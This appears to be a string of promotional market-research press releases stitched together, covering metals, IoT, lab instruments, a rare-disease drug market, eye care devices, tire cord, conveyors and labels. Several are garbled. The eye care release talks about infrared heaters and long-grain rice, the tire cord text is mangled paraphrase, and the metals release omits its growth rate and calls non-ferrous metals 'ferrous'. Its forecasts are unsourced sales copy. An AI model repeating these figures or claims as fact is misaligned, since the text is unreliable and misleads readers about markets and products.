gather and analyze information.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email: sales@transparencymarketresearch.comWebsite:
Non-Magnetic Metals & Alloys Market to Witness Robust Expansion Throughout the Forecast Period 2016 - 2026

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The Non-Magnetic Metals & Alloys are those metals and alloys that are generally non-ferrous type or have only insignificant amount of metal used as an alloy. Major non-magnetic metals include aluminum, copper, lead, and zinc. Other non-ferrous metals include brass, titanium, beryllium and nickel. They are generally more expensive than ferrous metals in terms of mining and extraction. These non-magnetic metals & alloys are generally light in weight, have higher conductivity, has non-magnetic property and is resistance to corrosion and rust. The global non-magnetic metals & alloys market are 1,500 kilo tons in 2015 approximately in volume. Overall, the market is expanding at a decent CAGR of during the forecast period from 2016 to 2026.Global Non-Magnetic Metals & Alloys Market DynamicsThe market of global non-magnetic metals & alloys is anticipated to be driven by the use of non-magnetic metals in different industries and their respective purposes. Due to growth of aviation industry and other transportation and structural materials, the global market of non-magnetic metals & alloys are growing in demand. In addition, the favorable Government initiatives such as The National Space policy of United States on June, 2010 and many others programmes help in the consumption of more non-magnetic metals & alloys over the years due to increased number to aircrafts and spaceships. Some of the non-magnetic metals & alloys are also used in building materials and also as a component of various metal alloys. Due to growth of the construction equipment, lead acid batteries, bullets and radiation protectors, the non-magnetic metals & alloys such as lead is highly used in demand of late. The demand for corrosion chemically inert and corrosion resistant products in chemical processing industry is expected to drive the market growth over the predictable period. Also the non-magnetic metals & alloys are highly recyclable in nature which further encourages the growth of non-magnetic metals and alloys. The global non-magnetic metals & alloys market is characterized by continuous mergers, acquisitions and product innovations to gain market share and competitive edge which drives the demand for the product worldwide. The jewelry industry involving precious metals other than gold, is expected to drive the Non-Magnetic Metals market to some extent. The industry is expected to get advantage from the rising magnesium mining and growing extraction of other metals such as titanium, which are used as raw materials for the production of alloys.However, the global non-magnetic metals & alloys being costly as compared to magnetic metals and alloys does have a hindering effect on its market growth as well. On the mining operations front, the non-magnetic metals and alloys mining are currently experiencing a sluggish production rate.Request Report Sample@Global Non-Magnetic Metals & Alloys Market SegmentationThe global non-magnetic metals & alloys market is segmented on the basis of product types such as non-ferrous metals, precious metals and exotic or rare metals. Ferrous metals further includes aluminum, lead, tin, zinc, copper, nickel, titanium and others. Precious metals constitutes gold, silver and platinum. Exotic or rare metals are cobalt, mercury, tungsten, beryllium, bismuth and cerium. On the basis of application, the global non-magnetic metals & alloys are divided into aerospace industry, industrial gas & turbine, industrial automotive, electrical &electronics, chemical industry, kitchen appliances, food & beverages industry and others.Global Non-Magnetic Metals & Alloys Market: Regional OutlookGeographically, the Global non-magnetic metals & alloys industry can be divided by major regions which include North America, Latin America, Western and Eastern Europe, Asia-Pacific region, Japan, Middle East and Africa. North America holds the largest share in the global non-magnetic metals & alloys market. It is expected to witness a substantial growth at a CAGR of over 3.5% in the forecasted period of 2016-2026. Europe holds the second largest market in terms of global non-magnetic metals & alloys, followed by Japan, Asia-pacific, Middle-East Africa and then rest of the world. Asia Pacific is expected to witness above average growth rates over the next six to eight years owing to the growing aviation industry combined with increasing demand for high durability metals in gas turbines and electrical & electronics.Visit For TOC@Global Non-Magnetic Metals & Alloys Market PlayersThe major players identified across the value chain of global non-magnetic metals & alloys market includes Saru Smelting Pvt Ltd., Lee Kee Group, James Coppell Lee, North Ferrous Cast Alloys Inc., Gravita India Ltd.,Australian Metals Pty Ltd., Nimax, Arcotech Ltd., AMPCO Metal Sa, Plansee Group and others. The companies are investing in their research & development sector to use more and more non-magnetic metals & alloys in aerospace industry. The companies are also focusing on different strategies in order to maintain the market share in the global non-magnetic metals & alloys market.About UsPersistence Market Research (PMR) is a third-platform research firm. Our research model is a unique collaboration of data analytics and market research methodology to help businesses achieve optimal performance.To support companies in overcoming complex business challenges, we follow a multi-disciplinary approach. At PMR, we unite various data streams from multi-dimensional sources. By deploying real-time data collection, big data, and customer experience analytics, we deliver business intelligence for organizations of all sizes.Contact UsPersistence Market Research305 Broadway7th Floor, New York City,NY 10007, United States,USA  Canada Toll Free: 800-961-0353Email: sales@persistencemarketresearch.comWeb:
Europe Internet of Things (IoT) Market 2017: Key Players  Cisco Systems Inc., Amazon Web Services, Google, Microsoft Corporation and More

Europe Internet of Things (IoT) Market

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SUMMARYWiseGuyReports published new report, titled Europe Internet of Things (IoT) Market Outlook.Market OverviewInterconnection of devices and humans through wireless communication networks introduced a concept of smart environment. European Union actively accepted concept of IoT and is on the path to become a potential market for internet of things (IoT) business. Ongoing trend of cloud computing, big data analytics and internet of things (IoT) are bringing considerable change in European market. High internet penetration and investment in hardware and infrastructure by European Commission are constructing potential market for IoT in Europe. In 2015, to support the internet driven environment, European Commission has launched Association named Alliance for Internet of Things Innovation (AIOTI) which is one of the largest European IoT associations.Russia and Germany are more inclined towards the acceptance of new gadgets. Russian market contributes huge demand for hi tech wearable whereas Germany accounted for high adoption rate of health monitoring devices and fitness tracker. Moreover, rising internet penetration and demand of smartphones in Europe are boosting the growth of IoT market in the region.GET SAMPLE REPORT @Market SegmentationEurope IoT Market is categorized on the following basis: By Componentso Devices Wearable Devices Non-Wearable Deviceso Sensors & Actuatorso By Platforms By Connectivity/M2M Platforms By Infrastructure-as-a-Service (Iaas) Backend Platforms By Hardware Specific Software Platform By Consumer/Enterprise Software Extension Platforms By Softwareo By Data Management Softwareo By Network Management Softwareo By Real Time Streaming Analysis Softwareo By Security Softwareo By Remote Monitoring Software By End-Usero By Consumer Electronicso By Transportation & Logisticso By Manufacturingo By Retailo By Energyo By Agricultureo By Healthcareo By Others (Education) By Applicationo By Smart Homeso By Smart Citieso By Wearableso By Smart Grido By Industrial Automationo By Connected Carso By Connected Healtho By Smart Retailo By Smart Agricultureo By Smart Supply ChainMarket Size and Forecast (2016-2024)The IoT market for Europe is expected to reach USD 432.80 billion in 2024 from USD 108.7 billion in 2016. The Europe IoT market is estimated to grow at remarkable CAGR of 18.32% during the forecast period.Germany is has the largest IoT software market as compared to other European countries. In 2015, 31% of total revenue generated from IoT in Europe is occupied by software segment. Complexity in digital infrastructure has increased the demand of security and data management software in Europe. Data management and security software is expected to grow at a CAGR of 19.17% and 22.00% during the forecast period.Europe has high adoption of IoT technology in aviation, utilities, production and transportation industry. France government is investing in achieving excellent infrastructures and is focusing on using renewable energy fuel whereas Swedish government is spending on medicine and bioscience.Consumer electronics segment is anticipated to attain value of USD 113 billion in 2024, growing at a CAGR of 18.73% during the forecast period. Implementation of IoT in fleet management and asset tracking is hugely impacting the Europe transportation industry. Transportation and logistics segment is estimated to capture 23% of total revenue of IoT in Europe over the forecast period. Industrial automation has reduced the operating cost and increased the production of the manufacturing industry. Retail and digital marketing is majorly driving the economic development of Europe. U.K. occupies the largest share in IoT in retail industry in Europe. Healthcare and agriculture sector is also expected to grow at a healthy rate during the forecast period.Market Drivers and ChallengesInnovative and advanced technologies are hugely impacting the industrial and public sector of European Union which is bolstering the growth of IoT devices and services in Europe. Increasing penetration of smart phone and rising demand of smart phone sensors, wearable and automotive sensors are fuelling the expansion of sensors & actuators market. Advanced infrastructure, efficient and cost-effectiveness of cloud computing solutions is the major boosting factor for the high adoption rate of IoT based platforms in Europe region.Privacy is the main concern which is inhibiting the market expansion of IoT in Europe. Combination of physical and virtual environment increases the risk of accessing and illegal use of data. Due to less human interaction risk of hacking or data violation increases. This is the major factor which is prohibiting the adoption of IoT in many European countries. Consumer sentiments related with liability of IoT devices are inhibiting the growth of Europe IoT market. Although over 80% of enterprises are assuring for security with the deployment of IoT, however people are not confident that their data are secured is restricting IoT business expansion in the region.Key Market Players Cisco Systems Inc.o Synopsiso Business Strategyo Product Portfolioo SWOT Analysis Intel Corporation IBM Corporation Amazon Web Services Google Microsoft Corporation Qualcomm Incorporated PTC Oracle Corporation SAP SE General Electric (GE) Arm Holdings Centrica plc Robert Bosch GmbH AT&T Inc Hewlett Packard Enterprise Rockwell Automation Dell Inc. Fujitsu Ltd...CONTINUEDFor accessing accurate and deep understanding and to gain latest insights and key developments in the area of your interest, we also have a list of conferences in which you will be interested in, for more information, cordially checkFor updating knowledge or for thoroughly understanding various terminologies, we also have vast list of seminars for your reference, for more information cordially checkWise Guy Reports understand how essential statistical surveying information is for your organization or association. Therefore, we have associated with the top publishers and research firms all specialized in specific domains, ensuring you will receive the most reliable and up to date research data available. We also provide COTS (Commercial off the Shelf) business sector reports as custom exploration agreeing your particular needs.WISEGUY RESEARCH CONSULTANTS PVT LTDOffice No. 528, Amanora ChambersPune - 411028Maharashtra, India
Global Nano-Particle Size Analysis Instrumentation in the Life Sciences Market to Witness an Outstanding Growth by 2014  2020

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Nano-particle size analysis instruments are primarily used for detecting the diameter of nanoparticles. Over the past few years, there has been a sharp rise in the adoption of these instruments in the life science sector owing to their high accuracy. Some of the commonly implemented technologies in the analysis are electron imaging technology, microscope technology, gel permeation chromatography, flow cytometry, ultra-centrifugation, and stem instrument. Rapid advancements in these technologies have widened the scope of applications of nano-particle size analysis instruments. Other than the life science sector, their demand is high in the biopharmaceutical sector as well.Read Report Overview @The research report is an outcome of the meticulous examination of the various critical aspects of the global nano-particle size analysis instrumentation in the life sciences market including its dynamics and region-wise outlook. Various paid and unpaid sources including white papers, press releases, journals, presentations, and directories were referred to compile this study. The report sheds light on the competitive nature of the market. It analyzes the business strategies and latest developments of the key players in the market. It presents the statistics pertaining to the market in graphical form for a better understanding.The increasing spending on research and development activities is providing a significant boost to the growth of the global nano-particle size analysis instrumentation in the life sciences market. Emerging economies offer immense growth opportunities and therefore, these countries are likely to witness set up of more life sciences research centers in the coming years. Moreover, the introduction of novel methods for nano particle analysis is augmenting the market.The rising awareness regarding the advantages of nano-particle size analysis instrumentation such as the requirement of less product volume, compliance with regulations, and accurate and reliable particle size analysis is also fuelling the market. On the other hand, the high costs of instruments or implementing technologies are keeping the market from realizing its utmost potential.The segments analyzed on the basis of geography are Asia Pacific, Europe, North America, and Rest of the World. North America will be a major revenue contributor to the growth of the market. Rapid advancements in nanotechnology along with the continuous efforts of key players to develop novel products are driving the growth of the region. In addition, the growing number of biotechnology start-ups and research facilities is propelling the growth of the region.Europe will also be a prominent market during the review period. A large number of players are headquartered in the region, which provides it an edge. Moreover, the increasing demand for nano-particle size instrumentation is supplementing the growth of the region.Request for Brochure @Asia Pacific will be an emerging market for nano-particle size analysis instrumentation in the life sciences. The launch of new and advanced instruments with enhanced accuracy is working in favor of the growth of the region. Furthermore, the developing healthcare infrastructure coupled with the favorable government initiatives is providing a fillip to the growth of the region.The presence of a large number of regional and global players has rendered the global nano-particle size analysis instrumentation in the life sciences market highly fragmented. The rapid advancements in nanotechnology are intensifying competition among key players. Some of the prominent companies operating in the market are Agilent Technologies Inc., Bruker AXS Inc., Beckman-Coulter Inc., TSI Instruments, Horiba Instruments, ASPEX Corporation, Fluid Imaging Technologies Inc., Hitachi Instruments, and Micrometrics Instrument Corporation.Request to view table of content @About UsTransparency Market Research (TMR) is a market intelligence company, providing global business information reports and services. Our exclusive blend of quantitative forecasting and trends analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants, use proprietary data sources and various tools and techniques to gather, and analyze information. Our business offerings represent the latest and the most reliable information indispensable for businesses to sustain a competitive edge.Contact us:Transparency Market Research90 State Street,Suite 700,AlbanyNY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free 866-552-3453Email: sales@transparencymarketresearch.com
Gaucher Disease Drugs Market Global Industry Analysis, size, share and Forecast 2013 - 2019

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This research report on the global Gaucher disease drugs market assesses the market depending the various market segments, overall geographical categories, and latest market trends. Our reports help you accumulate the maximum amount of data possible with the help of a precise analysis method that changes the competitive dynamics.The report provides a complete study of all the latest market trends, growth drivers of the industry, as well as important restraints. One of the salient features of the report is an easy-to-understand pattern of data dissemination, especially in the future forecast section. The report provides a complete perspective using features like SWOT analysis and a value chain assessment. Porters five force model sheds light on the details of the Gaucher disease drug market. Keep yourself constantly at pace with the market by learning about its areas of growth, advantages and competitors.Report Overview and TOC @Overview; Gaucher disease is a genetic and hereditary condition due to which there is a collection of fatty substances in the cells and organs. The typical symptoms of Gaucher disease include constant fatigue, anemia, bruising of skin, enlarged spleen and liver, along with low blood platelet count. The main cause of Gaucher disease is the deficiency of the enzyme glucocerebrosidase. The deficiency is hereditary, which means a child is more at risk than the adult. The enzyme acts on glucocerebroside, a glycolipid, to synthesize it. When a patient suffers from Gaucher disease, his/her glucocerebrosidase enzyme is defective, which causes a build-up of glucosylceramide, especially in the white blood cells and macrophages. The macrophages are not able to clean the fatty substance out, leading to its accumulation. The now fatty substance-filled cells are called as Gaucher Cells and look like crumpled up paper under the microscope. The fatty substance collects in the liver, spleen, kidneys, brain, lungs, and bone marrow. The signs and symptoms are varying in nature among those affected by Gaucher disease.Request for Brochure @The key driving factor in the Gaucher disease drugs market is the growing demand for a substantial enough treatment for the disease. The disease is split into three types. Type I and type III being treatable by enzyme replacement therapy, which is a heavily expensive and a lifelong undertaking. The key restraint in fighting Gaucher disease is its rarity. The biggest reason why dose-identifying studies have been so difficult is because there have not been enough patients who suffer from the disease, to find a more optimal dosage.Companies mentioned; Most of the top players in the Gaucher disease drugs market are located in either Europe or North America. The key companies that are described in the research report are: Dong-A-Socio Holdings, Genzyme Corporation, ExSAR Corporation, Neuraltus Pharmaceuticals, Amicus Therapeutics, JCR Pharmaceuticals, Lixte Biotechnology Holdings, Protalix BioTherapeutics, and Greenovation Biotech GmbH.Pre Book Full Report @Transparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.Transparency Market ResearchState Tower90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453
Global Eye Care Devices Market, Medical Equipment, Healthcare, Size, Trends and Forecast 2017

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To understand the medium infrared heaters Industry Status worldwide, Market Research Hub (MRH) has included the latest Forecast report titled Global Eye Care Devices Market Professional Survey Report 2017 to its vast database. The continual advancements in technologies and the swift increase in infrastructural development projects have influenced the demand for fragrant and long grain rice sales market substantially over the past few years. The swift rise in urbanization and the significant increase in the disposable income of people are likely to maintain the demand pace of fragrant and long grain rice sales market in the near future. The augmenting interest of investors, government funding, and the rising trend of automation are also projected to reflect positively on this market in the years to come.Request Free Sample Report:This report focuses on top manufacturers in global market, with production, price, revenue and market share for each manufacturer, coveringJohnson & JohnsonAllotex IncZEISSVisionCare, Inc.Biotech GroupAbbottBionic Sight LLCNIDEKAlconEssilorZiemerHaag StreitTopconHoya Corp.On the basis of product, this report displays the production, revenue, price, market share and growth rate of each type, primarily split intoComputerized Field AnalyzersContact LensesGlaucoma Drainage DevicesOphthalmic LasersOtherBy Application, the market can be split intoCataractRefractor DisorderVitreoretinal DisorderGlaucomaBy Regions, this report covers (we can add the regions/countries as you want)North AmericaChinaEuropeSoutheast AsiaJapanIndiaBrowse Full Report with TOC:Table of Content:Global Eye Care Devices Market Professional Survey Report 20171 Industry Overview of Eye Care Devices1.1 Definition and Specifications of Eye Care Devices1.1.1 Definition of Eye Care Devices1.1.2 Specifications of Eye Care Devices1.2 Classification of Eye Care Devices1.2.1 Computerized Field Analyzers1.2.2 Contact Lenses1.2.3 Glaucoma Drainage Devices1.2.4 Ophthalmic Lasers1.2.5 Other1.3 Applications of Eye Care Devices1.3.1 Cataract1.3.2 Refractor Disorder1.3.3 Vitreoretinal Disorder1.3.4 Glaucoma1.4 Market Segment by Regions1.4.1 North America1.4.2 China1.4.3 Europe1.4.4 Southeast Asia1.4.5 Japan1.4.6 India.. @@ continuedEnquire About This Report:About Market Research HubMarket Research Hub (MRH) is a next-generation reseller of research reports and analysis. MRHs expansive collection of machinery market research reports has been carefully curated to help key personnel and decision makers across industry verticals to clearly visualize their operating environment and take strategic steps.MRH functions as an integrated platform for the following products and services: Objective and sound market forecasts, qualitative and quantitative analysis, incisive insight into defining industry trends, and market share estimates. Our reputation lies in delivering value and world-class capabilities to our clients.Contact Us90 State Street,Albany, NY 12207,United StatesToll Free: - 800-998-4852 (US-Canada)Email:- press@marketresearchhub.comWebsite:-Read Industry News at :-
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Tire Cord and Tire Fabrics Market : Type, Application and Forecast To 2017 - 2025

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Global Tire Cord and Tire Fabrics Market: SnapshotTire cords are the fundamental tire fortification materials, which helps in keeping up tire's dimension under various physical conditions and accordingly brings about comfortable riding. For instance, nylon tire cord, which are set up from high tenacity incessant filament yarn by means of handling and curving, gives high quality, weariness resistance, affect resistance, and high attachment. As the automotive in flourishes with rising populace and expanding expenditure power of people all over the world, the demand for tire fabrics and tire cord is likely to intensify over the years ahead.In 2010, the quantity of vehicles over the world crossed one billion check, and the number keeps on developing at a noteworthy rate every year. This raising prerequisite of vehicles of different sorts is a reasonable impression of mounting worldwide populace and enhancing wage in the urban regions. With the thriving car area, for which tires are necessary piece of, the request in the worldwide tire cords and tire fabrics is subsequently surging.Regular tires are made of materials that set aside a long opportunity to biodegrade, and henceforth the expendable of exhausted tires has dependably been a striking issue for the makers. With developing attention to diminish contamination and shopper inclination for items that are biodegradable, the market is opening new open doors for the players to create bio-based and other condition inviting contrasting options to the ordinary tire. Governments over the world are additionally anticipated that would offer sponsorships to creative eco-accommodating items, and thusly enable the market's development to rate.Request Sample Copy of the Report @Global Tire Cord and Tire Fabrics Market: OverviewTire cords are the basic tire reinforcement materials, which helps in maintaining tires dimensions under different physical conditions and thereby results in comfortable riding. For instance, nylon tire cord, which are prepared from high tenacity continuous filament yarn via plying and twisting, provide high strength, fatigue resistance, impact resistance, and high adhesion. As the automotive industry thrives on rising population and increasing disposable income across the world, the demand in the global market for tire cords and tire fabrics is expected to expand at a strong CAGR during the forecast period of 2017 to 2025.Global Tire Cord and Tire Fabrics Market: Key TrendsIn 2010, the number of vehicles across the world crossed one billion mark, and the number continues to grow at a significant rate each year. This escalating requirement of vehicles of various kinds is a clear reflection of mounting global population and improving income in the urban areas. With the flourishing automotive sector, for which tires are integral part of, the demand in the global tire cord and tire fabrics is consequently surging. Moreover, the demand for technologically tires with added comfort and ride quality is gaining pace, and urging players in this market to invest in research and develop advanced fabrics. Conversely, environmental issues pertaining to disposing of worn-out tires is one factor that is significantly challenging the growth rate of this market.Request TOC of the Report @Based on product, the global tire cord and tire fabrics market can be segmented into steel, nylon dipped, polyester, rayon, and others including aramid, fiberglass, and PEN. Out of these, steel tire cord fabrics segment remains the backbone of the market with maximum demand. Steel cord not only improve the mechanical strength of the tie but also adds stability. The segment of polyester tire cord fabric is also expected to expand rapidly during the forecast period, as it is now extensively used in passenger car tires, gaining from its low cost and desirable physical properties.Global Tire Cord and Tire Fabrics Market: Market PotentialConventional tires are made of materials that take a very long time to biodegrade, and hence the disposable of worn-out tires has always been a striking issue for the manufacturers. With growing awareness to reduce pollution and consumer preference for products that are biodegradable, the market is opening new opportunities for the players to develop bio-based and other environment friendly alternatives to the conventional tire. Governments across the world are also expected to offer subsidies to innovative eco-friendly products, and in turn help the markets growth rate.Request Discount of the Report @Global Tire Cord and Tire Fabrics Market: Regional OutlookThe U.S. is the most lucrative country as far as tire cord and tire fabrics market is concerned, accounting for considerably more than half of vehicles sold in the region of North America. Since the 2008 economic downturn, the U.S. automotive market has recovered significantly and is expected to stimulate business growth in North America. Asia Pacific, with vast population base, is another important region for the players in this market. Emerging economies such as India, China, Japan, and South Korea are the primary country-wide markets. European automotive sales are declining due to sluggish GDP growth, and hence the market for tire cord and tire fabrics in this region is expected remain moderate during the forecast period.Global Tire Cord and Tire Fabrics Market: Competitive AnalysisAlthough smaller regional players are constantly challenging their market share with cheaper products, the global tire cord and tire fabrics is largely consolidated with only a few companies owning most of the shares. Kolon Industries, Inc., Kordsa Global, Hyosung Corporation, SRF Ltd., and Bekaert are some of the key players operating in this market, while Kordarna plus A.S., Milliken & Co. Inc., Cordenka GmbH, Firestone Fibers & textile Co., Tokusen USA are other notable vendors of tire cord and tire fabrics.About TMR ResearchTMR Research is a premier provider of customized market research and consulting services to business entities keen on succeeding in todays supercharged economic climate. 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Table Top Conveyor for Packaging Market - Changing Industry supply and demand scenarios

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Conveyors are mechanical equipment used for the moving material from one location to another. Conveyors are basically used to reduce the manual errors while handling, transportation and packaging the material which saves energy and time. The table top conveyors for packaging are based on an aluminum, steel, stainless steel or thermoplastic profiles with low friction slide rails and a variety of standard widths in inches. The table top conveyor for packaging allows quick and efficient packaging for a variety of materials such as glass, plastic, paper and metal through the various elevation and directional changes of a production line.Download Brochure@The global table top conveyor for packaging market is projected to grow rapidly as a result of increase in automation  a leading factor of the global table top conveyor for packaging. The growing demand for cost effective material packaging system from various industries is expected to boost the growth of the global table top conveyor for the packaging market during the forecast period. Developing industries such as automotive, retail, food & beverages and healthcare also generates demand for mechanical conveyor, fuelling the growth of the market. However, high price and maintenance cost of the conveyor can restrain the growth of the table top conveyor for packaging market during the forecast period. The requirement of the table top conveyor for packaging varies from user to user which leads to the demand of customized equipment which could be the opportunity for the global table top conveyor in packaging market.The global table top conveyor for packaging market is segmented on the basis of the material type, by configuration type, by end use application and geographical region.Based on the material type the global table top conveyor for packaging market is segmented into:AluminumSteelStainless steelThermoplasticBased on the configuration type the global table top conveyor for packaging market is segmented into:HorizontalModularCompactCurvedBased on the end use application type the global table top conveyor for packaging market is segmented into:BeverageConsumer PackagingFood PackagingPharmaceuticalPersonal CareMedicalAutomotiveElectronicsIn terms of geography, the global table top conveyor for packaging market has been divided into five key regions, including North America, Latin America, Europe, Asia-Pacific (APAC) and Middle East & Africa (MEA). The global table top conveyor for packaging market has expected to register the significant growth over the forecast period. Asia Pacific has contributed the major share to the global table top conveyor for packaging market due to the rapidly developing industrialization in Asia Pacific region. North America and Europe regions are also contributed a healthy market share in terms of revenue and expected to register the moderate CAGR over the forecast period. Latin America and MEA regions are showing descent market growth and anticipated to register the healthy significant growth over the forecast period.Browse Report@Some of the key players of the global table top conveyor for packaging market are Nercon, Inc., Modular Conveyor Express, TRIO PAC inc., Omni Metalcraft Corp, Dorner Mfg. Corp., Benda Manufacturing, Ro-Row Wong, Storcan, A&E Conveyor Systems Company, Rexnord Corporation.About Us:-Transparency Market Research (TMR) is a next-generation provider of syndicated research, customized research, and consulting services. TMRs global and regional market intelligence coverage includes industries such as pharmaceutical, chemicals and materials, technology and media, food and beverages, and consumer goods, among others. Each TMR research report provides clients with a 360-degree view of the market with statistical forecasts, competitive landscape, detailed segmentation, key trends, and strategic recommendations.Contact Us:-State Tower,90 State Street,Suite 700,Albany NY - 12207United StatesTel: +1-518-618-1030Email: sales@transparencymarketresearch.com
Cover up labels Market Lucrative opportunities By 2024

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Labelling plays a significant role in product packaging. Over the past few years labelling has been considered as one of the major tool for promoting a product. Labelling industry is experiencing a healthy growth in the developing and developed economies.To have a competitive edge, manufacturers are inclined to adopt a new and innovative products. Cover up labels are one of the important labelling solution available to the brand owners.Print errors are not a rare incident in the business and due to which the cover up labels have gained popularity as it prevent the original labels and save considerable money that goes into producing a new label to fix a small mistake. In addition, Retail industry is expected to be one of the major end user of the cover up labels owing to the changing price scenario.Obtain Report Details:Cover up labels: Market DynamicsThe global cover up labels market is anticipated to be driven by the significant growth in organized retail sector. Price changes are done on regular basis in the organized retail industry, which requires a mechanism or a tool like a cover up label to overcome this challenge.Relabeling is a long process that can create a huge loss of the company. So, many organized retail companies are adopting cover up labels to prevent the original labels. Apart from that, rising acceptance in pharmaceutical sector is expected to further propel the growth of cover up labels market during the forecast period.Moreover, ecommerce industry is experiencing double digit growth in developing economies that in turn is expected to escalate the sales of cover up labels market over the forecast period. In addition, discounts offered by the ecommerce retailers during the festive seasons also require them to use cover up label as the discounted prices are for a particular time and these labels cover up the original labels with the initial price.Pharmaceutical companies are also increasingly using cover up labels to showcase the composition of the drugs attractively. In addition, cover up labels are extensively used in the various distribution channel of a company because the product go through several use cycles that can damage the original labels.In terms of geography, the global cover up labels market has been divided in to five key regions including North America, Latin America, Europe, Asia-Pacific and Middle East & Africa.Asia pacific region is expected to register highest CAGR during the forecast period. Mounting growth of ecommerce sector coupled with the changing lifestyles of the consumer is expected to fuel the sales of cover up labels market in the Asia pacific region.North America is expected to retain its dominance throughout the forecast period. Europe is also anticipated to witness healthy growth in the cover up labels market over the forecast period. However, Middle East & Africa region is expected to be sluggish during the forecast period.Make Enquiry @Cover up labels Market: Key playersSome of the key players in the global cover up labels market are Imprint Enterprises Inc., Consolidated Label Co. Inc., Etiquette systems Inc., Presto Labels, Mindware Holdings Inc., Lewis Label Products Corporation, W.T. Nickell Label Company, Alpine Packaging, Inc., MPI Label Systems, Inc., QuickLabel Systems Inc., Chicago Tag & Label, Inc. etc.The report offers a comprehensive evaluation of the market. It does so via in-depth qualitative insights, historical data, and verifiable projections about market size. The projections featured in the report have been derived using proven research methodologies and assumptions.By doing so, the research report serves as a repository of analysis and information for every facet of the market, including but not limited to: Regional markets, technology, types, and applications.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email:sales@transparencymarketresearch.comWebsite:
Screen-print Label Market Lucrative opportunities By 2024

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One of the most vibrant and fast-changing element of the packaging industry is the product label, that not only provide customer with product information, but also replicate the product manufacturers brand by acting as a differentiating factor in product packaging.Screen-print technology can deliver high levels of sophistication regarding multi-process imaging, accurate, speedy automatic dispensing for premium prime labelling applications. Screen-print labels are also the preferred technology for flexible information print labels  for example, track-and-trace/barcoding, and in store price-weight applications, using thermal or uncoated paper stocks.The increasing purchasing power of average customers and upswing in the adoption of innovative labelling tools are factors that have led to the significant growth in demand for screen-print label market globally.Screen-print Label Market - Market Segmentation:The global screen-print label market can be segmented on the basis of material type, ink-system type, durability type, end-use and by region. On the basis of material type screen-print label market can be segmented into paperboard, metal, plastic, glass.Obtain Report Details:On the basis of ink-system type screen-print, label market can be segmented into conventional solvent-based, UV-based, water-based screen printing inks, glass-ceramic inks and others. Based on the durability of the screen-print label, the market can be segmented as a permanent screen-print label and temporary or removable screen-print label.On the basis of end use screen-print label can be segmented into food & beverages, automotive industry, cosmetics and personal care, clothing industry, pharmaceutical industry and others. On the basis of region, screen-print label we have segmented into North America, Latin America, Europe, Asia-Pacific and the Middle East & Africa.Screen-print Label Market - Market Dynamics:Screen-print label market is pegged to remain one of the most key forms of labelling. Growth in demand for screen-print label market is expected to be strong for several reasons. Screen printing allows for printing on substrates of any shape, thickness, and size and also for printing front and backside of a clear label to ensure that lettering shines through.Another important factor contributing towards the growth of screen-print label market is that the greater thickness of the ink can be applied to the substrate that allows for creation of effects such as braille, glitter, scratch offs and raised text , that is generally not possible with other printing techniques. One important advantage of the screen printing process is that both flat and round packaging can be printed.In addition, there are also some high-value opportunity areas such as intelligent packaging that uses RFID or features time/temperature or sell-by date indicators. In addition, the increasing need for anti-counterfeiting, track-and-trace, and tamper-evident features further drives the growth in the screen print label market.However, there are some challenges in the screen-print label market. The rise of flexible packaging and pouches, which do not require an additional label at all can act as a restraint for growth in the screen print label market.Screen-print Label Market - Regional Outlook:Screen-print label market is expected to register a high CAGR for the forecast period. Depending on geographic regions, screen-print label market is segmented into five key regions: North America, Latin America, Europe, Asia-Pacific, and Middle East & Africa. Asia Pacific is expected to witness the maximum growth in the screen print label market primarily driven by the developing countries like India and China.Make Enquiry @The rising disposable income, growth in the retail industry, urbanization are some of the factors that contribute to the growth in the developing countries of Asia Pacific. Europe is also expected to experience the healthy growth in the screen print label market as it accounts for over 60% of market share in the overall label market. North America is expected to achieve an above average growth in the screen print label market over the forecast period.Screen-print Label Market - Major Players:Some of the major players identified across the globe in the screen-print label market are Emballator Tectubes, CTL Packaging, CCL Industries, Viva Healthcare Packaging, Vetroplas, JACO Manufacturing Company, Verstraete IML, AFM - American Film & Machinery, Axon, BestCode, Diagraph, An ITW Company, Domino, Domino Digital Printing, EPI Labelers, FoxJet, An ITW Company, Frain Industries, Iconotech, Guangzhou DOY Label Co., Ltd., Xiamen Okay Commodity Co., Ltd.The research report presents a comprehensive assessment of the market and contains thoughtful insights, facts, historical data, and statistically supported and industry-validated market data. It also contains projections using a suitable set of assumptions and methodologies. The research report provides analysis and information according to market segments such as geography, product type, material type and end-use.About TMRTransparency Market Research (TMR) is a global market intelligence company providing business information reports and services. The companys exclusive blend of quantitative forecasting and trend analysis provides forward-looking insight for thousands of decision makers. TMRs experienced team of analysts, researchers, and consultants use proprietary data sources and various tools and techniques to gather and analyze information.TMRs data repository is continuously updated and revised by a team of research experts so that it always reflects the latest trends and information. With extensive research and analysis capabilities, Transparency Market Research employs rigorous primary and secondary research techniques to develop distinctive data sets and research material for business reports.Contact TMR90 State Street, Suite 700Albany, NY 12207Tel: +1-518-618-1030USA - Canada Toll Free: 866-552-3453Email:sales@transparencymarketresearch.comWebsite:
Oligonucleotide Therapeutics Market to Expand with Significant CAGR During 2016 - 2024

